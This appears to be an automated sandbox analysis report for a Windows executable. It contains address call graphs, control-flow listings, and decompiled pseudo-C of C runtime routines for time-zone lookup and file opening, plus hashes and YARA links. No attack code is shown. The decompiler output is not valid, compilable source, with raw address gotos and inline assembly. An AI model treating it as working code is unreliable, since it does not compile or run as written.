37175->37138 37176->37158 37177->37160 37178->37162 37179->37155 37181 7ff7da8e534c 37180->37181 37182 7ff7da8e5372 37181->37182 37184 7ff7da8e53a5 37181->37184 37211 7ff7da8e4394 11 API calls _get_daylight 37182->37211 37186 7ff7da8e53ab 37184->37186 37187 7ff7da8e53b8 37184->37187 37185 7ff7da8e5377 37212 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 37185->37212 37213 7ff7da8e4394 11 API calls _get_daylight 37186->37213 37199 7ff7da8ea048 37187->37199 37192 7ff7da8e53cc 37214 7ff7da8e4394 11 API calls _get_daylight 37192->37214 37193 7ff7da8e53d9 37206 7ff7da8ef3ec 37193->37206 37196 7ff7da8e53ec 37215 7ff7da8e4248 LeaveCriticalSection 37196->37215 37198 7ff7da8d3ce9 37198->36629 37216 7ff7da8ef6d8 EnterCriticalSection 37199->37216 37201 7ff7da8ea05f 37202 7ff7da8ea0bc 19 API calls 37201->37202 37203 7ff7da8ea06a 37202->37203 37204 7ff7da8ef738 _isindst LeaveCriticalSection 37203->37204 37205 7ff7da8e53c2 37204->37205 37205->37192 37205->37193 37217 7ff7da8ef0e8 37206->37217 37210 7ff7da8ef446 37210->37196 37211->37185 37213->37198 37214->37198 37221 7ff7da8ef123 __vcrt_FlsAlloc 37217->37221 37219 7ff7da8ef3c1 37236 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 37219->37236 37227 7ff7da8ef2ea 37221->37227 37232 7ff7da8f53c4 51 API calls 3 library calls 37221->37232 37222 7ff7da8ef2f3 37222->37210 37229 7ff7da8f60ac 37222->37229 37224 7ff7da8ef355 37224->37227 37233 7ff7da8f53c4 51 API calls 3 library calls 37224->37233 37226 7ff7da8ef374 37226->37227 37234 7ff7da8f53c4 51 API calls 3 library calls 37226->37234 37227->37222 37235 7ff7da8e4394 11 API calls _get_daylight 37227->37235 37237 7ff7da8f56ac 37229->37237 37232->37224 37233->37226 37234->37227 37235->37219 37238 7ff7da8f56c3 37237->37238 37239 7ff7da8f56e1 37237->37239 37291 7ff7da8e4394 11 API calls _get_daylight 37238->37291 37239->37238 37242 7ff7da8f56fd 37239->37242 37241 7ff7da8f56c8 37292 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 37241->37292 37248 7ff7da8f5cbc 37242->37248 37246 7ff7da8f56d4 37246->37210 37294 7ff7da8f59f0 37248->37294 37251 7ff7da8f5d31 37325 7ff7da8e4374 11 API calls _get_daylight 37251->37325 37252 7ff7da8f5d49 37313 7ff7da8e6c4c 37252->37313 37256 7ff7da8f5d36 37326 7ff7da8e4394 11 API calls _get_daylight 37256->37326 37284 7ff7da8f5728 37284->37246 37293 7ff7da8e6c24 LeaveCriticalSection 37284->37293 37291->37241 37295 7ff7da8f5a1c 37294->37295 37297 7ff7da8f5a36 37294->37297 37295->37297 37338 7ff7da8e4394 11 API calls _get_daylight 37295->37338 37301 7ff7da8f5ab4 37297->37301 37340 7ff7da8e4394 11 API calls _get_daylight 37297->37340 37298 7ff7da8f5a2b 37339 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 37298->37339 37300 7ff7da8f5b05 37310 7ff7da8f5b62 37300->37310 37344 7ff7da8e56bc 37 API calls 2 library calls 37300->37344 37301->37300 37342 7ff7da8e4394 11 API calls _get_daylight 37301->37342 37304 7ff7da8f5b5e 37304->37310 37311 7ff7da8e9d20 _wfindfirst32i64 17 API calls 37304->37311 37306 7ff7da8f5afa 37343 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 37306->37343 37307 7ff7da8f5aa9 37341 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 37307->37341 37310->37251 37310->37252 37312 7ff7da8f5bf5 37311->37312 37345 7ff7da8ef6d8 EnterCriticalSection 37313->37345 37325->37256 37326->37284 37338->37298 37340->37307 37342->37306 37344->37304 37347 7ff7da8e78b8 37346->37347 37350 7ff7da8e7394 37347->37350 37349 7ff7da8e78d1 37349->36637 37351 7ff7da8e73af 37350->37351 37352 7ff7da8e73de 37350->37352 37361 7ff7da8e9c34 37 API calls 2 library calls 37351->37361 37360 7ff7da8e423c EnterCriticalSection 37352->37360 37355 7ff7da8e73cf 37355->37349 37356 7ff7da8e73e3 37357 7ff7da8e7400 38 API calls 37356->37357 37358 7ff7da8e73ef 37357->37358 37359 7ff7da8e4248 _fread_nolock LeaveCriticalSection 37358->37359 37359->37355 37361->37355 37363 7ff7da8deff3 37362->37363 37364 7ff7da8df021 37362->37364 37373 7ff7da8e9c34 37 API calls 2 library calls 37363->37373 37366 7ff7da8df013 37364->37366 37372 7ff7da8e423c EnterCriticalSection 37364->37372 37366->36643 37368 7ff7da8df038 37369 7ff7da8df054 72 API calls 37368->37369 37370 7ff7da8df044 37369->37370 37371 7ff7da8e4248 _fread_nolock LeaveCriticalSection 37370->37371 37371->37366 37373->37366 36070 7ff7da8ee82c 36071 7ff7da8eea1e 36070->36071 36074 7ff7da8ee86e _isindst 36070->36074 36116 7ff7da8e4394 11 API calls _get_daylight 36071->36116 36073 7ff7da8eea0e 36117 7ff7da8dacf0 36073->36117 36074->36071 36077 7ff7da8ee8ee _isindst 36074->36077 36091 7ff7da8f5304 36077->36091 36082 7ff7da8eea4a 36126 7ff7da8e9d20 IsProcessorFeaturePresent 36082->36126 36089 7ff7da8ee94b 36089->36073 36115 7ff7da8f5348 37 API calls _isindst 36089->36115 36092 7ff7da8f5313 36091->36092 36093 7ff7da8ee90c 36091->36093 36130 7ff7da8ef6d8 EnterCriticalSection 36092->36130 36097 7ff7da8f4708 36093->36097 36095 7ff7da8f531b 36095->36093 36096 7ff7da8f5174 55 API calls 36095->36096 36096->36093 36098 7ff7da8f4711 36097->36098 36102 7ff7da8ee921 36097->36102 36131 7ff7da8e4394 11 API calls _get_daylight 36098->36131 36100 7ff7da8f4716 36132 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 36100->36132 36102->36082 36103 7ff7da8f4738 36102->36103 36104 7ff7da8f4741 36103->36104 36105 7ff7da8ee932 36103->36105 36133 7ff7da8e4394 11 API calls _get_daylight 36104->36133 36105->36082 36109 7ff7da8f4768 36105->36109 36107 7ff7da8f4746 36134 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 36107->36134 36110 7ff7da8f4771 36109->36110 36111 7ff7da8ee943 36109->36111 36135 7ff7da8e4394 11 API calls _get_daylight 36110->36135 36111->36082 36111->36089 36113 7ff7da8f4776 36136 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 36113->36136 36115->36073 36116->36073 36118 7ff7da8dacf9 36117->36118 36119 7ff7da8dad04 36118->36119 36120 7ff7da8db020 IsProcessorFeaturePresent 36118->36120 36121 7ff7da8db038 36120->36121 36137 7ff7da8db214 RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind 36121->36137 36123 7ff7da8db04b 36138 7ff7da8dafe4 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 36123->36138 36127 7ff7da8e9d33 36126->36127 36139 7ff7da8e9a34 14 API calls 2 library calls 36127->36139 36129 7ff7da8e9d4e GetCurrentProcess TerminateProcess 36131->36100 36133->36107 36135->36113 36137->36123 36139->36129 36140 7ff7da8e8709 36152 7ff7da8e9028 36140->36152 36142 7ff7da8e870e 36143 7ff7da8e8735 GetModuleHandleW 36142->36143 36144 7ff7da8e877f 36142->36144 36143->36144 36150 7ff7da8e8742 36143->36150 36145 7ff7da8e860c 39 API calls 36144->36145 36146 7ff7da8e87bb 36145->36146 36147 7ff7da8e87c2 36146->36147 36148 7ff7da8e87d8 11 API calls 36146->36148 36149 7ff7da8e87d4 36148->36149 36150->36144 36151 7ff7da8e8830 GetModuleHandleExW GetProcAddress FreeLibrary 36150->36151 36151->36144 36157 7ff7da8ea570 GetLastError 36152->36157 36158 7ff7da8ea594 FlsGetValue 36157->36158 36159 7ff7da8ea5b1 FlsSetValue 36157->36159 36161 7ff7da8ea5a1 36158->36161 36162 7ff7da8ea5ab 36158->36162 36160 7ff7da8ea5c3 36159->36160 36159->36161 36180 7ff7da8edc90 36160->36180 36163 7ff7da8ea61d SetLastError 36161->36163 36162->36159 36165 7ff7da8ea63d 36163->36165 36166 7ff7da8e9031 36163->36166 36194 7ff7da8e915c 45 API calls 2 library calls 36165->36194 36179 7ff7da8e915c 45 API calls 2 library calls 36166->36179 36169 7ff7da8ea5f0 FlsSetValue 36173 7ff7da8ea60e 36169->36173 36174 7ff7da8ea5fc FlsSetValue 36169->36174 36170 7ff7da8ea5e0 FlsSetValue 36172 7ff7da8ea5e9 36170->36172 36187 7ff7da8e9d68 36172->36187 36193 7ff7da8ea314 11 API calls _get_daylight 36173->36193 36174->36172 36177 7ff7da8ea616 36178 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 36177->36178 36178->36163 36185 7ff7da8edca1 _get_daylight 36180->36185 36181 7ff7da8edcf2 36196 7ff7da8e4394 11 API calls _get_daylight 36181->36196 36182 7ff7da8edcd6 RtlAllocateHeap 36183 7ff7da8ea5d2 36182->36183 36182->36185 36183->36169 36183->36170 36185->36181 36185->36182 36195 7ff7da8f2600 EnterCriticalSection LeaveCriticalSection _get_daylight 36185->36195 36188 7ff7da8e9d9c 36187->36188 36189 7ff7da8e9d6d HeapFree 36187->36189 36188->36161 36189->36188 36190 7ff7da8e9d88 GetLastError 36189->36190 36191 7ff7da8e9d95 Concurrency::details::SchedulerProxy::DeleteThis 36190->36191 36197 7ff7da8e4394 11 API calls _get_daylight 36191->36197 36193->36177 36195->36185 36196->36183 36197->36188 37374 7ffcfd865146 37375 7ffcfd902d60 37374->37375 37376 7ffcfd902da0 37375->37376 37377 7ffcfd902e4d memmove 37375->37377 37377->37376

                                                                                                                              Executed Functions

                                                                                                                              Function 00007FF7DA8F4D70 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334timeCOMMONCrypto
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 772 7ff7da8f4d70-7ff7da8f4dab call 7ff7da8f46f8 call 7ff7da8f4700 call 7ff7da8f4768 779 7ff7da8f4fd5-7ff7da8f5021 call 7ff7da8e9d20 call 7ff7da8f46f8 call 7ff7da8f4700 call 7ff7da8f4768 772->779 780 7ff7da8f4db1-7ff7da8f4dbc call 7ff7da8f4708 772->780 806 7ff7da8f515f-7ff7da8f51cd call 7ff7da8e9d20 call 7ff7da8f0608 779->806 807 7ff7da8f5027-7ff7da8f5032 call 7ff7da8f4708 779->807 780->779 785 7ff7da8f4dc2-7ff7da8f4dcc 780->785 787 7ff7da8f4dee-7ff7da8f4df2 785->787 788 7ff7da8f4dce-7ff7da8f4dd1 785->788 792 7ff7da8f4df5-7ff7da8f4dfd 787->792 791 7ff7da8f4dd4-7ff7da8f4ddf 788->791 794 7ff7da8f4de1-7ff7da8f4de8 791->794 795 7ff7da8f4dea-7ff7da8f4dec 791->795 792->792 796 7ff7da8f4dff-7ff7da8f4e12 call 7ff7da8eca1c 792->796 794->791 794->795 795->787 798 7ff7da8f4e1b-7ff7da8f4e29 795->798 802 7ff7da8f4e14-7ff7da8f4e16 call 7ff7da8e9d68 796->802 803 7ff7da8f4e2a-7ff7da8f4e36 call 7ff7da8e9d68 796->803 802->798 814 7ff7da8f4e3d-7ff7da8f4e45 803->814 825 7ff7da8f51cf-7ff7da8f51d6 806->825 826 7ff7da8f51db-7ff7da8f51de 806->826 807->806 815 7ff7da8f5038-7ff7da8f5043 call 7ff7da8f4738 807->815 814->814 817 7ff7da8f4e47-7ff7da8f4e58 call 7ff7da8ef874 814->817 815->806 824 7ff7da8f5049-7ff7da8f506c call 7ff7da8e9d68 GetTimeZoneInformation 815->824 817->779 827 7ff7da8f4e5e-7ff7da8f4eb4 call 7ff7da8dc170 * 4 call 7ff7da8f4c8c 817->827 843 7ff7da8f5134-7ff7da8f515e call 7ff7da8f46f0 call 7ff7da8f46e0 call 7ff7da8f46e8 824->843 844 7ff7da8f5072-7ff7da8f5093 824->844 831 7ff7da8f526b-7ff7da8f526e 825->831 828 7ff7da8f5215-7ff7da8f5228 call 7ff7da8eca1c 826->828 829 7ff7da8f51e0 826->829 885 7ff7da8f4eb6-7ff7da8f4eba 827->885 846 7ff7da8f5233-7ff7da8f524e call 7ff7da8f0608 828->846 847 7ff7da8f522a 828->847 834 7ff7da8f51e3 829->834 831->834 835 7ff7da8f5274-7ff7da8f527c call 7ff7da8f4d70 831->835 841 7ff7da8f51e8-7ff7da8f5214 call 7ff7da8e9d68 call 7ff7da8dacf0 834->841 842 7ff7da8f51e3 call 7ff7da8f4fec 834->842 835->841 842->841 851 7ff7da8f5095-7ff7da8f509b 844->851 852 7ff7da8f509e-7ff7da8f50a5 844->852 872 7ff7da8f5255-7ff7da8f5267 call 7ff7da8e9d68 846->872 873 7ff7da8f5250-7ff7da8f5253 846->873 856 7ff7da8f522c-7ff7da8f5231 call 7ff7da8e9d68 847->856 851->852 854 7ff7da8f50b9 852->854 855 7ff7da8f50a7-7ff7da8f50af 852->855 865 7ff7da8f50bb-7ff7da8f512f call 7ff7da8dc170 * 4 call 7ff7da8f1bcc call 7ff7da8f5284 * 2 854->865 855->854 861 7ff7da8f50b1-7ff7da8f50b7 855->861 856->829 861->865 865->843 872->831 873->856 887 7ff7da8f4ec0-7ff7da8f4ec4 885->887 888 7ff7da8f4ebc 885->888 887->885 890 7ff7da8f4ec6-7ff7da8f4eeb call 7ff7da8f7bb4 887->890 888->887 896 7ff7da8f4eee-7ff7da8f4ef2 890->896 897 7ff7da8f4ef4-7ff7da8f4eff 896->897 898 7ff7da8f4f01-7ff7da8f4f05 896->898 897->898 900 7ff7da8f4f07-7ff7da8f4f0b 897->900 898->896 903 7ff7da8f4f0d-7ff7da8f4f35 call 7ff7da8f7bb4 900->903 904 7ff7da8f4f8c-7ff7da8f4f90 900->904 912 7ff7da8f4f53-7ff7da8f4f57 903->912 913 7ff7da8f4f37 903->913 905 7ff7da8f4f92-7ff7da8f4f94 904->905 906 7ff7da8f4f97-7ff7da8f4fa4 904->906 905->906 908 7ff7da8f4fa6-7ff7da8f4fbc call 7ff7da8f4c8c 906->908 909 7ff7da8f4fbf-7ff7da8f4fce call 7ff7da8f46f0 call 7ff7da8f46e0 906->909 908->909 909->779 912->904 918 7ff7da8f4f59-7ff7da8f4f77 call 7ff7da8f7bb4 912->918 916 7ff7da8f4f3a-7ff7da8f4f41 913->916 916->912 919 7ff7da8f4f43-7ff7da8f4f51 916->919 924 7ff7da8f4f83-7ff7da8f4f8a 918->924 919->912 919->916 924->904 925 7ff7da8f4f79-7ff7da8f4f7d 924->925 925->904 926 7ff7da8f4f7f 925->926 926->924
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8F4D70(void* __eflags, void* __rax, signed short* __rcx, char _a16, char _a24) {
				void* _t10;
				intOrPtr _t23;
				void* _t29;
				signed short* _t31;
				intOrPtr _t36;
				signed long long _t42;

				_t29 = __rax;
				E00007FF77FF7DA8F4700(E00007FF77FF7DA8F46F8(_t10));
				r12d = 0;
				_a16 = r12d;
				_a24 = r12d;
				if (E00007FF77FF7DA8F4768(_t29,  &_a16) != 0) goto 0xda8f4fd5;
				if (E00007FF77FF7DA8F4708(_t29,  &_a24) != 0) goto 0xda8f4fd5;
				_t36 =  *0xda91d2b0; // 0x0
				_t23 = _t36;
				if (_t23 == 0) goto 0xda8f4dee;
				r8d =  *(__rcx + _t36 - __rcx) & 0x0000ffff;
				if (_t23 != 0) goto 0xda8f4dea;
				_t31 =  &(__rcx[1]);
				if (r8d != 0) goto 0xda8f4dd4;
				if (( *__rcx & 0x0000ffff) - r8d == 0) goto 0xda8f4e1b;
				_t39 = (_t42 | 0xffffffff) + 1;
				if (__rcx[(_t42 | 0xffffffff) + 1] != r12w) goto 0xda8f4df5;
				E00007FF77FF7DA8ECA1C(_t31, 2 + _t39 * 2);
				if (_t31 != 0) goto 0xda8f4e2a;
				return E00007FF77FF7DA8E9D68(_t31, 2 + _t39 * 2);
			}









                                                                                                                              0x7ff7da8f4d70
                                                                                                                              0x7ff7da8f4d8d
                                                                                                                              0x7ff7da8f4d92
                                                                                                                              0x7ff7da8f4d99
                                                                                                                              0x7ff7da8f4da0
                                                                                                                              0x7ff7da8f4dab
                                                                                                                              0x7ff7da8f4dbc
                                                                                                                              0x7ff7da8f4dc2
                                                                                                                              0x7ff7da8f4dc9
                                                                                                                              0x7ff7da8f4dcc
                                                                                                                              0x7ff7da8f4dd7
                                                                                                                              0x7ff7da8f4ddf
                                                                                                                              0x7ff7da8f4de1
                                                                                                                              0x7ff7da8f4de8
                                                                                                                              0x7ff7da8f4dec
                                                                                                                              0x7ff7da8f4df5
                                                                                                                              0x7ff7da8f4dfd
                                                                                                                              0x7ff7da8f4e07
                                                                                                                              0x7ff7da8f4e12
                                                                                                                              0x7ff7da8f4e29

                                                                                                                              APIs
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F4DB5
                                                                                                                                • Part of subcall function 00007FF7DA8F4708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7DA8F471C
                                                                                                                                • Part of subcall function 00007FF7DA8E9D68: HeapFree.KERNEL32(?,?,?,00007FF7DA8F1D92,?,?,?,00007FF7DA8F1DCF,?,?,00000000,00007FF7DA8F2295,?,?,?,00007FF7DA8F21C7), ref: 00007FF7DA8E9D7E
                                                                                                                                • Part of subcall function 00007FF7DA8E9D68: GetLastError.KERNEL32(?,?,?,00007FF7DA8F1D92,?,?,?,00007FF7DA8F1DCF,?,?,00000000,00007FF7DA8F2295,?,?,?,00007FF7DA8F21C7), ref: 00007FF7DA8E9D88
                                                                                                                                • Part of subcall function 00007FF7DA8E9D20: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7DA8E9CFF,?,?,?,?,?,00007FF7DA8E213C), ref: 00007FF7DA8E9D29
                                                                                                                                • Part of subcall function 00007FF7DA8E9D20: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7DA8E9CFF,?,?,?,?,?,00007FF7DA8E213C), ref: 00007FF7DA8E9D4E
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F4DA4
                                                                                                                                • Part of subcall function 00007FF7DA8F4768: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7DA8F477C
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F501A
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F502B
                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF7DA8F503C
                                                                                                                              • GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7DA8F527C), ref: 00007FF7DA8F5063
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
                                                                                                                              • String ID: Pacific Daylight Time$Pacific Standard Time
                                                                                                                              • API String ID: 4070488512-1154798116
                                                                                                                              • Opcode ID: 4d81c4733886c10eb2cb5a2f197cfa0054c7f5a467bfa3ebe6787b01c8f89471
                                                                                                                              • Instruction ID: 54c32586a4094a7df6b475d4a8757fa1cef680a9392766637f084a1150e3875b
                                                                                                                              • Opcode Fuzzy Hash: 4d81c4733886c10eb2cb5a2f197cfa0054c7f5a467bfa3ebe6787b01c8f89471
                                                                                                                              • Instruction Fuzzy Hash: C5D19E26E0825386FB26BF2598401BDA6A1FBA4794FC44177EE4D87687DF3CE461C360
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F5CBC Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMONCrypto
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 1054 7ff7da8f5cbc-7ff7da8f5d2f call 7ff7da8f59f0 1057 7ff7da8f5d31-7ff7da8f5d3a call 7ff7da8e4374 1054->1057 1058 7ff7da8f5d49-7ff7da8f5d53 call 7ff7da8e6c4c 1054->1058 1065 7ff7da8f5d3d-7ff7da8f5d44 call 7ff7da8e4394 1057->1065 1063 7ff7da8f5d55-7ff7da8f5d6c call 7ff7da8e4374 call 7ff7da8e4394 1058->1063 1064 7ff7da8f5d6e-7ff7da8f5dd7 CreateFileW 1058->1064 1063->1065 1067 7ff7da8f5e54-7ff7da8f5e5f GetFileType 1064->1067 1068 7ff7da8f5dd9-7ff7da8f5ddf 1064->1068 1081 7ff7da8f608a-7ff7da8f60aa 1065->1081 1074 7ff7da8f5e61-7ff7da8f5e9c GetLastError call 7ff7da8e4308 CloseHandle 1067->1074 1075 7ff7da8f5eb2-7ff7da8f5eb9 1067->1075 1071 7ff7da8f5e21-7ff7da8f5e4f GetLastError call 7ff7da8e4308 1068->1071 1072 7ff7da8f5de1-7ff7da8f5de5 1068->1072 1071->1065 1072->1071 1079 7ff7da8f5de7-7ff7da8f5e1f CreateFileW 1072->1079 1074->1065 1088 7ff7da8f5ea2-7ff7da8f5ead call 7ff7da8e4394 1074->1088 1077 7ff7da8f5ec1-7ff7da8f5ec4 1075->1077 1078 7ff7da8f5ebb-7ff7da8f5ebf 1075->1078 1085 7ff7da8f5eca-7ff7da8f5f1f call 7ff7da8e6b64 1077->1085 1086 7ff7da8f5ec6 1077->1086 1078->1085 1079->1067 1079->1071 1093 7ff7da8f5f21-7ff7da8f5f2d call 7ff7da8f5bf8 1085->1093 1094 7ff7da8f5f3e-7ff7da8f5f6f call 7ff7da8f5770 1085->1094 1086->1085 1088->1065 1093->1094 1101 7ff7da8f5f2f 1093->1101 1099 7ff7da8f5f75-7ff7da8f5fb7 1094->1099 1100 7ff7da8f5f71-7ff7da8f5f73 1094->1100 1103 7ff7da8f5fd9-7ff7da8f5fe4 1099->1103 1104 7ff7da8f5fb9-7ff7da8f5fbd 1099->1104 1102 7ff7da8f5f31-7ff7da8f5f39 call 7ff7da8e9ee0 1100->1102 1101->1102 1102->1081 1107 7ff7da8f5fea-7ff7da8f5fee 1103->1107 1108 7ff7da8f6088 1103->1108 1104->1103 1106 7ff7da8f5fbf-7ff7da8f5fd4 1104->1106 1106->1103 1107->1108 1110 7ff7da8f5ff4-7ff7da8f6039 CloseHandle CreateFileW 1107->1110 1108->1081 1111 7ff7da8f606e-7ff7da8f6083 1110->1111 1112 7ff7da8f603b-7ff7da8f6069 GetLastError call 7ff7da8e4308 call 7ff7da8e6d8c 1110->1112 1111->1108 1112->1111
                                                                                                                              C-Code - Quality: 40%
                                                                                                                              			E00007FF77FF7DA8F5CBC(void* __ecx, void* __eflags, long long __rbx, long long __rcx, signed int* __rdx, long long __rdi, long long __rsi, long long __r8) {
				void* __rbp;
				signed int _t148;
				long _t161;
				void* _t165;
				signed int _t167;
				void* _t182;
				signed int _t185;
				signed int _t186;
				intOrPtr* _t234;
				intOrPtr* _t237;
				long long _t249;
				long long _t257;
				signed long long _t263;
				signed long long _t279;
				signed int* _t303;
				long long _t306;
				void* _t308;
				void* _t309;
				intOrPtr* _t311;
				void* _t312;
				void* _t320;
				void* _t322;
				void* _t326;
				void* _t330;

				_t234 = _t311;
				 *((long long*)(_t234 + 8)) = __rbx;
				 *((long long*)(_t234 + 0x10)) = __rsi;
				 *((long long*)(_t234 + 0x20)) = __rdi;
				 *((long long*)(_t234 + 0x18)) = __r8;
				_t309 = _t234 - 0x47;
				_t312 = _t311 - 0xc0;
				r12d = r9d;
				_t257 = __r8;
				r9d =  *(_t309 + 0x77);
				_t303 = __rdx;
				r8d =  *(_t309 + 0x6f);
				_t306 = __rcx;
				E00007FF77FF7DA8F59F0(r12d, __eflags, _t234, __r8, _t309 - 1, _t309);
				asm("movups xmm0, [eax]");
				asm("movsd xmm1, [eax+0x10]");
				asm("movups [ebp-0x59], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				asm("movsd [ebp-0x39], xmm1");
				asm("movsd [ebp-0x49], xmm1");
				 *(_t309 - 0x29) = _t330 >> 0x20;
				if (r15d != 0xffffffff) goto 0xda8f5d49;
				E00007FF77FF7DA8E4374(_t234);
				 *_t234 = 0;
				 *__rdx =  *__rdx | 0xffffffff;
				E00007FF77FF7DA8E4394(_t234);
				goto 0xda8f608a;
				_t148 = E00007FF77FF7DA8E6C4C(r12d, _t234, __r8, __rdx, __rdx, _t306);
				 *__rdx = _t148;
				if (_t148 != 0xffffffff) goto 0xda8f5d6e;
				E00007FF77FF7DA8E4374(_t234);
				 *_t234 = 0;
				 *__rdx =  *__rdx | 0xffffffff;
				E00007FF77FF7DA8E4394(_t234);
				 *_t234 = 0x18;
				goto 0xda8f5d3d;
				r8d = r15d;
				r14d = r14d |  *(_t309 - 0x49);
				 *_t306 = 1;
				 *((long long*)(_t312 + 0x30)) = _t306;
				 *(_t312 + 0x28) = r14d;
				 *((intOrPtr*)(_t312 + 0x20)) =  *((intOrPtr*)(_t309 - 0x51));
				 *((intOrPtr*)(_t309 - 0x21)) = 0x18;
				 *((long long*)(_t309 - 0x19)) = _t306;
				 *(_t309 - 0x11) =  !(r12d >> 7) & 0x00000001;
				 *(_t309 - 0x31) =  *(_t309 - 0x49) >> 0x20;
				CreateFileW(??, ??, ??, ??, ??, ??, ??); // executed
				_t185 =  *(_t309 - 0x55);
				if (_t234 != 0xffffffff) goto 0xda8f5e54;
				if ((_t185 & 0xc0000000) != 0xc0000000) goto 0xda8f5e21;
				if ((r12b & 0x00000001) == 0) goto 0xda8f5e21;
				 *((long long*)(_t312 + 0x30)) = _t306;
				asm("btr ebx, 0x1f");
				 *(_t309 - 0x55) = _t185;
				r8d = r15d;
				 *(_t312 + 0x28) = r14d;
				 *((intOrPtr*)(_t312 + 0x20)) =  *((intOrPtr*)(_t309 - 0x51));
				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				if (_t234 != 0xffffffff) goto 0xda8f5e54;
				_t263 =  *__rdx;
				_t237 =  *((intOrPtr*)(0xda91ca20 + (_t263 >> 6) * 8));
				 *(_t237 + 0x38 + (_t263 + _t263 * 8) * 8) =  *(_t237 + 0x38 + (_t263 + _t263 * 8) * 8) & 0x000000fe;
				E00007FF77FF7DA8E4308(GetLastError(), _t237, _t263 + _t263 * 8);
				goto 0xda8f5d3d;
				_t161 = GetFileType(_t330); // executed
				if (_t161 != 0) goto 0xda8f5eb2;
				_t186 = GetLastError();
				E00007FF77FF7DA8E4308(_t162, _t237, _t234);
				 *( *((intOrPtr*)(0xda91ca20 + ( *__rdx >> 6) * 8)) + 0x38 + ( *__rdx +  *__rdx * 8) * 8) =  *( *((intOrPtr*)(0xda91ca20 + ( *__rdx >> 6) * 8)) + 0x38 + ( *__rdx +  *__rdx * 8) * 8) & 0x000000fe;
				CloseHandle(_t326);
				if (_t186 != 0) goto 0xda8f5d3d;
				_t165 = E00007FF77FF7DA8E4394(_t237);
				 *_t237 = 0xd;
				goto 0xda8f5d3d;
				r14b =  *(_t309 - 0x59);
				if (_t165 != 2) goto 0xda8f5ec1;
				r14b = r14b | 0x00000040;
				goto 0xda8f5eca;
				if (_t165 != 3) goto 0xda8f5eca;
				r14b = r14b | 0x00000008;
				E00007FF77FF7DA8E6B64(_t165, _t186,  *__rdx, _t257, _t234, __rdx, _t306, _t309, _t322, _t320);
				r14b = r14b | 0x00000001;
				 *(_t309 - 0x41) = r14b;
				 *(_t309 - 0x59) = r14b;
				 *( *((intOrPtr*)(0xda91ca20 + ( *__rdx >> 6) * 8)) + 0x38 + ( *__rdx +  *__rdx * 8) * 8) = r14b;
				 *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + ( *__rdx >> 6) * 8)) + 0x39 + ( *__rdx +  *__rdx * 8) * 8)) = sil;
				if ((r12b & 0x00000002) == 0) goto 0xda8f5f3e;
				_t167 = E00007FF77FF7DA8F5BF8(_t186,  *__rdx, r12d & 0x0000003f, _t257, _t309 - 0x21);
				r14d = _t167;
				if (_t167 == 0) goto 0xda8f5f3e;
				E00007FF77FF7DA8E9EE0( *((intOrPtr*)(0xda91ca20 + ( *__rdx >> 6) * 8)), _t257, _t303);
				goto 0xda8f608a;
				asm("movups xmm0, [ebp-0x59]");
				asm("movsd xmm1, [ebp-0x39]");
				r8d = r12d;
				asm("movaps [ebp-0x1], xmm0");
				 *((intOrPtr*)(_t309 - 0x61)) = sil;
				asm("movsd [ebp+0xf], xmm1");
				r14d = E00007FF77FF7DA8F5770( *_t303, _t257, _t309 - 1, _t306, _t309 - 0x61);
				if (r14d == 0) goto 0xda8f5f75;
